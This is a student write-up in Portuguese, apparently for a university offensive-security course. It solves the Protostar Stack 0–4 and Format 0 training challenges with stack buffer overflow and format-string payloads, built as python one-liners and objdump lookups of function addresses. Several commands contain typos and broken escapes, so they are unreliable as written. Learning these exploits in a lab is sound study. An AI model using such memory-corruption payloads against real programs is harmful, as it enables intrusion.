Relatório sobre as soluções dos desafios do protostar

TAG 2 Segurança ofensiva

UFRJ

Thais Angelo Ferreira de Oliveira

## STACK 00 :

Este primeiro desafio é resolvido inserido um valor com mais de 64 caracteres, assim o parâmetro modified é alterado passando do valor do buffer [64].

O comando que eu utilizei para resolve-lo foi:

```
$ python -c ‘print (‘a’* 66)’

#you have changed the 'modified' variable
```

## STACK 01:

Este desafio é parecido com o primeiro, mas ao invés de checar se a variavel modified foi modificado, ele checa se o valor foi configurado para conter o valor hexadecimal de 0x61626364. Olhando para a tabela ascii vemos que os valores corresponde as letras a,b,c e d respectivamente. Assim modified precisar conter essas letras na ordem inversa.

O comando que eu utilizei para resolve-lo foi:

```
$python -c print ('a' *64 + 'dcba ‘)
```

porém pode ser dado também o comando:

```
$ python -c print ('a' * 64 + '\x64\x63\x62\x61')
```

#you have correctly got the variable to the right value

STACK 02:

Esse desafio perecido com o anterior, consiste em mudar o valor do modified para um valor hexadecimal ‘0x0d0a0d0a’. Para resolve-lo precisamos definir a variável GREENIE e para isso utilizamos o comando export, e para gerar os valores hexadecimais exigidos no codigo há uma facilidade em python que ele gera os valores hexadecimais se os caracteres forem postos da forma ‘/x0f’.

O comando utilizado para resolve-lo foi :

$export GREENIE = (python -c "print 'a' * 64 + '\ x0a \ x0d \ x0a \ x0d'")

#you have correctly modified the variable

STACK 03:

Neste desafio o seu código fonte possui duas funções, uma que nunca é chamada e outra que é chamada mais não existe. O que se deve fazer primeiro neste desafio é achar o endereço de memória da função win e para isso utilizei o comando objdump -x.

O comando utilizado foi:

$ objdump -x stack3 | grep win

Após esse comando é fornecido o endereço 0x08048424 da função procurada. Agora com o endereço já conhecido basta sobrescrever na variável fp.

$python -c print( 'a' * 64 + '\ x24 \ x84 \ x04 \ x08')

# calling function pointer, jumping to 0x08048424
code flow successfully changed

STACK 04:

Nesse desafio a primeira coisa a ser feita foi tentar estourar o buffer e para isso eu fui tentando dar o comando:

$ python -c print( 'a' * 64)

E fui aumentado o valor 64 e ao testar o valor 76 recebi a mesagem ‘Segmentation fault’. Feito isso, utilizei novamente o comando *objdump* para saber o endereço de memoria da funçao win.

$objdump -x stack4 | grep win

O endereço de memória retornado foi 080483f4. Com isso utilizei o comando:

$python -c print( 'a' * 76 + '\ xf4 \ x83 \ x04 \ x08)

#code flow successfully changed
Segmentation fault

FORMAT 00:

A ideia desse desafio é sobrescrever a variável de destino com 0xdeadbeef, porém é dito no enunciado que deveśe conclui-la com menos de 10 bytes. Para isso foi utilizado o comando:

$python -c "print '%064d\xef\xbe\xad\xde'" | xargs ./format0

#you have hit the target correctly :)